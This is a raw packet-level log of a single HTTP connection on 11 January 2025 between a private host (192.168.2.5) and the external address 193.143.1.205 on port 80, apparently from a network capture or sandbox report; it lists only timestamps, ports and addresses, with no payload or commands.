Jan 11, 2025 03:32:10.245255947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.245354891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.262994051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.264241934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307339907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307369947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307389975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307409048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307427883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307445049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307452917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307463884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307481050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307513952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307535887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307852983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307873011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307892084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307909966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307920933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307928085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307944059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307952881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307962894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307981014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.307996988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.307998896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308020115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.308114052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308130980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308151007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308165073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.308178902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308201075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.308280945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.308322906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.338836908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338869095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338887930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338905096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338923931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338922977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.338942051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.338943005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.338985920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339045048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339111090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339128971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339147091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339149952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339163065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339183092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339401960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339418888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339437962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339442968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339457035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339473963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339474916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339493990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339514971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339694023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339720964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339731932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339740038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339756966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339775085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339776039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339792967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339809895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.339811087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.339847088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340013027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340085030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340104103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340130091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340131998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340150118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340174913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340359926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340378046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340395927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340398073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340414047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340431929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340436935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340466022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340636969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340657949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340689898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340693951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340698957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340718031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340734005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340745926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340759039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340775967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340781927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340795040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340815067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.340816975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.340853930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341353893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341372967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341389894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341408968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341409922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341418028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341434956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341447115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341453075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341470957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341473103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341490030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341507912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341507912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341550112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341927052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341944933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341963053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341979980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.341985941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.341998100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342015028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342017889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342034101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342050076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342051983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342070103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342086077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342087984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342125893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342534065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342551947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342570066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342586040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342587948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342607021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342622995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342623949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342643023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342660904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342664957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342679024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342694998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342699051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.342720985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.342732906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.343099117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343125105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343135118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.343143940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343161106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343182087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343192101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.343199968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343218088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343240976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343240976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.343261003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.343518019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343535900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.343554974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.345910072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.353472948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353509903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353528976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353532076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.353565931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.353621006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353637934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353657961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353672981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.353820086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.353854895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.384103060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.397943974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.397968054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.397998095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398017883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398042917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398046017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398066044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398068905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398093939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398113012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398128033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398130894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398149967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398154020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398186922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398356915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398413897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398431063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398449898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398449898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398466110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398631096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398650885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398652077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398669958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398673058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398710012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398806095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398823977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398842096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398858070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.398859978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398878098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.398900032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429442883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429488897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429507971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429548979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429559946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429560900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429574966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429594040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429610014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429672956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429713011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429797888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429816008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429833889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429851055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.429852009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429872036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.429888964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430063009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430080891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430099010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430114985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430207014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430223942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430252075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430269957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430289984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430445910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430464029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430481911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430485010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430500031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430519104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430517912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430537939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430556059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430565119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430574894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430591106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.430962086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430979967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.430998087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431015968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431015968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431040049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431040049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431058884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431075096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431268930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431287050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431304932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431308031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431339979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431346893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431365013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431382895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431401014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431404114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431418896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431437016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431452990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431453943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431473017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431474924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.431492090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.431508064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.432101965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432120085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432138920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432146072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.432157993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432178974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432195902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432198048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.432210922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.432214022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432230949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432250023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432266951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.432267904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.432291985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434425116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434464931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434483051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434500933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434535980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434617996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434634924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434653044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434670925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434670925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434708118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434753895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434771061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434788942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434808016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.434983015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.434998989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435017109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435019970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435035944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435055017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435055017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435075045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435092926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435111046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435148954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435233116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435246944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435256004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435266018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435282946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435297966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435302019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435323000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435339928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435524940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435544968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435565948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435575962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435646057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435664892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.435667038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.435702085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.438293934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.460306883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460349083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460376978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.460393906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.460395098 CET	80	49704	193.143.1.205	192.168.2.5
